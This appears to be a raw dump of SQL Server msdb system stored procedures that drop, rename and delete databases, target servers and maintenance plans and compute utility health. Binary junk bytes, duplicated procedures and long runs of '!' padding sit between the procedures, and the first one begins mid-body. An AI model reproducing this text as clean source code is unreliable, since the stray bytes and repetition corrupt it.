    IF EXISTS(SELECT name FROM sys.databases WHERE name = @database_name)
    BEGIN
        DECLARE @engineEdition int = CAST(SERVERPROPERTY('EngineEdition') AS int);
        
        DECLARE @quoteddbname nvarchar(258)
        SET @quoteddbname = QUOTENAME(@database_name)
        
        DECLARE @sqlstatement nvarchar(1000)
        
        IF (@engineEdition != 5)
        BEGIN
            SET @sqlstatement = 'ALTER DATABASE ' + @quoteddbname + ' SET SINGLE_USER WITH ROLLBACK IMMEDIATE'
            EXEC (@sqlstatement)
        END 
        
        SET @sqlstatement = 'DROP DATABASE ' + @quoteddbname
        
        IF (@engineEdition = 5)
        BEGIN
			DECLARE @dbname SYSNAME 
			SET @dbname = db_name()
			
            RAISERROR (36012, 0, 1, @dbname, @sqlstatement);
            SELECT @dbname as databasename, @sqlstatement as sqlscript
        END
        ELSE
        BEGIN
            EXEC (@sqlstatement)
        END    
    END
    
    RETURN(@@error)
END
0F O8CREATE PROCEDURE sp_delete_targetserver
  @server_name        sysname,
  @clear_downloadlist BIT = 1,
  @post_defection     BIT = 1
AS
BEGIN
  DECLARE @server_id INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))

  -- Check server name
  SELECT @server_id = server_id
  FROM msdb.dbo.systargetservers
  WHERE (UPPER(server_name) = @server_name)

  IF (@server_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@server_name', @server_name)
    RETURN(1) -- Failure
  END

  BEGIN TRANSACTION

    IF (@clear_downloadlist = 1)
    BEGIN
      DELETE FROM msdb.dbo.sysdownloadlist
      WHERE (target_server = @server_name)
    END

    IF (@post_defection = 1)
    BEGIN
      -- Post a defect instruction to the server
      -- NOTE: We must do this BEFORE deleting the systargetservers row
      EXECUTE msdb.dbo.sp_post_msx_operation 'DEFECT', 'SERVER', 0x00, @server_name
    END

    DELETE FROM msdb.dbo.systargetservers
    WHERE (server_id = @server_id)

    DELETE FROM msdb.dbo.systargetservergroupmembers
    WHERE (server_id = @server_id)

    DELETE FROM msdb.dbo.sysjobservers
    WHERE (server_id = @server_id)

  COMMIT TRANSACTION

  RETURN(@@error) -- 0 means success
END
0@P &8(NULL)0UF 8CREATE PROCEDURE sp_maintplan_delete_plan
    @plan_id   UNIQUEIDENTIFIER
AS
BEGIN
   SET NOCOUNT ON

   DECLARE @sp_id UNIQUEIDENTIFIER
    DECLARE @retval     INT

    SET @retval = 0

   --Loop through Subplans
   DECLARE sp CURSOR LOCAL FOR 
        SELECT subplan_id 
        FROM msdb.dbo.sysmaintplan_subplans 
        WHERE plan_id = @plan_id FOR READ ONLY

   OPEN sp
   FETCH NEXT FROM sp INTO @sp_id
   WHILE @@FETCH_STATUS = 0
   BEGIN 
     EXECUTE @retval = sp_maintplan_delete_subplan @subplan_id = @sp_id
      IF(@retval <> 0)
        BREAK

     FETCH NEXT FROM sp INTO @sp_id
   END
   CLOSE sp
   DEALLOCATE sp

    RETURN (@retval)
END
0[ 8CREATE PROCEDURE [dbo].[sp_sysdac_rename_database]  
        @database_name sysname,
        @new_name sysname
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @sqlstatement nvarchar(1000)

    -- Alter the database to single user mode    
    DECLARE @quoted_database_name nvarchar(258)
    SET @quoted_database_name = QUOTENAME(@database_name)
    SET @sqlstatement = 'ALTER DATABASE ' + @quoted_database_name + ' SET SINGLE_USER WITH ROLLBACK IMMEDIATE'
    EXEC (@sqlstatement)

    -- Rename the database
    EXEC sp_rename @objname=@quoted_database_name, @newname=@new_name, @objtype='DATABASE'

    -- Revert the database back to multi user mode
    DECLARE @quoted_new_name nvarchar(258)
    SET @quoted_new_name = QUOTENAME(@new_name)
    SET @sqlstatement = 'ALTER DATABASE ' + @quoted_new_name + ' SET MULTI_USER WITH ROLLBACK IMMEDIATE'
    EXEC (@sqlstatement)
            
    RETURN(@@error)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`k<jN'0UF 8CREATE PROCEDURE sp_maintplan_delete_plan
    @plan_id   UNIQUEIDENTIFIER
AS
BEGIN
   SET NOCOUNT ON

   DECLARE @sp_id UNIQUEIDENTIFIER
    DECLARE @retval     INT

    SET @retval = 0

   --Loop through Subplans
   DECLARE sp CURSOR LOCAL FOR 
        SELECT subplan_id 
        FROM msdb.dbo.sysmaintplan_subplans 
        WHERE plan_id = @plan_id FOR READ ONLY

   OPEN sp
   FETCH NEXT FROM sp INTO @sp_id
   WHILE @@FETCH_STATUS = 0
   BEGIN 
     EXECUTE @retval = sp_maintplan_delete_subplan @subplan_id = @sp_id
      IF(@retval <> 0)
        BREAK

     FETCH NEXT FROM sp INTO @sp_id
   END
   CLOSE sp
   DEALLOCATE sp

    RETURN (@retval)
END
0[ 8CREATE PROCEDURE [dbo].[sp_sysdac_rename_database]  
        @database_name sysname,
        @new_name sysname
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @sqlstatement nvarchar(1000)

    -- Alter the database to single user mode    
    DECLARE @quoted_database_name nvarchar(258)
    SET @quoted_database_name = QUOTENAME(@database_name)
    SET @sqlstatement = 'ALTER DATABASE ' + @quoted_database_name + ' SET SINGLE_USER WITH ROLLBACK IMMEDIATE'
    EXEC (@sqlstatement)

    -- Rename the database
    EXEC sp_rename @objname=@quoted_database_name, @newname=@new_name, @objtype='DATABASE'

    -- Revert the database back to multi user mode
    DECLARE @quoted_new_name nvarchar(258)
    SET @quoted_new_name = QUOTENAME(@new_name)
    SET @sqlstatement = 'ALTER DATABASE ' + @quoted_new_name + ' SET MULTI_USER WITH ROLLBACK IMMEDIATE'
    EXEC (@sqlstatement)
            
    RETURN(@@error)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1`ij<ykN+0F O8CREATE PROCEDURE sp_delete_targetserver
  @server_name        sysname,
  @clear_downloadlist BIT = 1,
  @post_defection     BIT = 1
AS
BEGIN
  DECLARE @server_id INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))

  -- Check server name
  SELECT @server_id = server_id
  FROM msdb.dbo.systargetservers
  WHERE (UPPER(server_name) = @server_name)

  IF (@server_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@server_name', @server_name)
    RETURN(1) -- Failure
  END

  BEGIN TRANSACTION

    IF (@clear_downloadlist = 1)
    BEGIN
      DELETE FROM msdb.dbo.sysdownloadlist
      WHERE (target_server = @server_name)
    END

    IF (@post_defection = 1)
    BEGIN
      -- Post a defect instruction to the server
      -- NOTE: We must do this BEFORE deleting the systargetservers row
      EXECUTE msdb.dbo.sp_post_msx_operation 'DEFECT', 'SERVER', 0x00, @server_name
    END

    DELETE FROM msdb.dbo.systargetservers
    WHERE (server_id = @server_id)

    DELETE FROM msdb.dbo.systargetservergroupmembers
    WHERE (server_id = @server_id)

    DELETE FROM msdb.dbo.sysjobservers
    WHERE (server_id = @server_id)

  COMMIT TRANSACTION

  RETURN(@@error) -- 0 means success
END
0@P &8(NULL)0bG1 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_computer_health
   @new_set_number INT 
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @under_utilize_type INT = 1
    DECLARE @over_utilize_type INT = 2

    DECLARE @computer_object_type INT = 3
    DECLARE @target_type INT = 6
    DECLARE @space_resource_type INT = 1;

    -- Compute the volume space health state for the computer.

    -- CTE to identify the computer volumes violating the under / over utilization policy
    WITH volume_utilization (physical_server_name, volume_device_id, utilization_type)
    AS
    (
        SELECT vo.physical_server_name, vo.volume_device_id, cp.utilization_type 
        FROM msdb.dbo.sysutility_ucp_computer_policies cp
            , msdb.dbo.sysutility_ucp_volumes vo
            , msdb.dbo.sysutility_ucp_policy_violations pv
        WHERE cp.physical_server_name = vo.physical_server_name
            AND cp.resource_type = @space_resource_type
            AND cp.target_type = @target_type
            AND pv.policy_id = cp.policy_id
            AND pv.target_query_expression = vo.powershell_path
    )
    -- Insert new record
    INSERT INTO msdb.dbo.sysutility_ucp_mi_volume_space_health_internal(physical_server_name, server_instance_name, volume_device_id, set_number, processing_time
           ,health_state)
    SELECT CAST(svr.ComputerNamePhysicalNetBIOS AS SYSNAME), 
           CAST(svr.Name AS SYSNAME), 
           vol.volume_device_id, 
           @new_set_number, 
           svr.processing_time,
		   CASE WHEN (@over_utilize_type = ISNULL(vu.utilization_type, 0))
			 THEN 3 -- over utilized
			 WHEN (@under_utilize_type = ISNULL(vu.utilization_type, 0))
			 THEN 2 -- under utilized
			 ELSE 1 -- healthy
		   END 
    FROM msdb.dbo.sysutility_ucp_instances AS svr
      INNER JOIN msdb.dbo.sysutility_ucp_volumes AS vol ON vol.physical_server_name = svr.ComputerNamePhysicalNetBIOS
      LEFT JOIN volume_utilization vu ON vol.physical_server_name = vu.physical_server_name AND vol.volume_device_id = vu.volume_device_id
   
   -- Computes the processor health state for the computer.

    -- Cache view data into temp table
    SELECT *
    INTO #computer_policies     
    FROM dbo.sysutility_ucp_computer_policies

    -- Get the computer cpu utilization based on processor violating the health policy 
    -- Mark the computer as unhealthy if processor violate the policy
    SELECT cp.physical_server_name as physical_server_name
        , SUM(CASE WHEN cp.utilization_type = 1 THEN 1 ELSE 0 END) AS under_utilized_count
        , SUM(CASE WHEN cp.utilization_type = 2 THEN 1 ELSE 0 END) AS over_utilized_count
    INTO #computer_cpu_utilization        
    FROM #computer_policies cp 
    INNER JOIN dbo.sysutility_ucp_policy_violations pv
        ON cp.policy_id = pv.policy_id AND cp.powershell_path = pv.target_query_expression
    WHERE cp.resource_type = 3      -- processor_resource_type
        AND cp.target_type = 1      -- computer_target_type
    GROUP BY cp.physical_server_name   

    -- Insert new record
    INSERT INTO msdb.dbo.sysutility_ucp_computer_cpu_health_internal(physical_server_name, set_number, processing_time, health_state)
    SELECT c.physical_server_name
        , @new_set_number
        , c.processing_time,
    CASE WHEN 0 < ISNULL(cu.over_utilized_count, 0) THEN 
        3 -- over utilized
    WHEN 0 < ISNULL(cu.under_utilized_count, 0) THEN 
        2 -- under utilized
    ELSE 1 -- healthy 
    END AS health_state
    FROM msdb.dbo.sysutility_ucp_computers AS c
    LEFT JOIN #computer_cpu_utilization cu
    ON c.physical_server_name = cu.physical_server_name

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!